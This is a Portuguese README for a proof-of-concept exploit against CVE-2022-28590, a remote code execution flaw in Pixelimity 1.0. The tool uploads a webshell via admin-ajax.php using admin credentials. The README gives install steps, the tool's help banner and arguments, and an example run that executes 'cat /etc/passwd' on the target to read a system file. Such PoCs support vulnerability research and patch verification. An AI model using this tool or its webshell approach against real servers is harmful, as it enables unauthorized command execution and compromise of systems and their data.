
Exploit de prova de conceito para CVE-2022-28590, uma vulnerabilidade de execução remota de código no Pixelimity 1.0. Faz upload de uma webshell via admin-ajax.php para execução de comandos autenticada.
A descoberta original e o PoC manual são de tuando243:
Uma vulnerabilidade de Execução Remota de Código (RCE) existe no Pixelimity 1.0 através de admin/admin-ajax.php?action=install_theme.
Este PoC faz upload de um webshell simples para execução remota de código adicional. Este exploit espera que a função system() seja permitida no servidor, caso contrário, algum reconhecimento prévio deve ser feito para detectar qual função permite execução além de system.
git clone https://github.com/jcarabantes/CVE-2022-28590.git
python -m venv venv
source venv/bin/activate
pip install -r requirements.txt
python CVE-2022-28590.py -h
python CVE-2022-28590.py -h
___ _ _ ____ ___ ___ ___ ___ ___ ___ ___ ___ ___
/ __)( \/ )( ___)___(__ \ / _ \(__ \ (__ \ ___(__ \ ( _ )| __)/ _ \ / _ \
( (__ \ / )__)(___)/ _/( (_) )/ _/ / _/(___)/ _/ / _ \|__ \_ /( (_) )
\___) \/ (____) (____)\___/(____)(____) (____)\___/(___/ (_/ \___/
Vulnerability discovered by tuando243
PoC author: @javicarabantes
usage: CVE-2022-28590.py [-h] [-d] [-q] --url URL --user USER [--password PASSWORD] [-c COMMAND]
optional arguments:
-h, --help show this help message and exit
-d Debug output
-q Do not print the banner
--url URL url: https://server:8081/
--user USER admin user
--password PASSWORD admin password
-c COMMAND Command to execute. Default: id
python CVE-2022-28590.py --url http://localhost:8082 --user myuser -c "cat /etc/passwd"
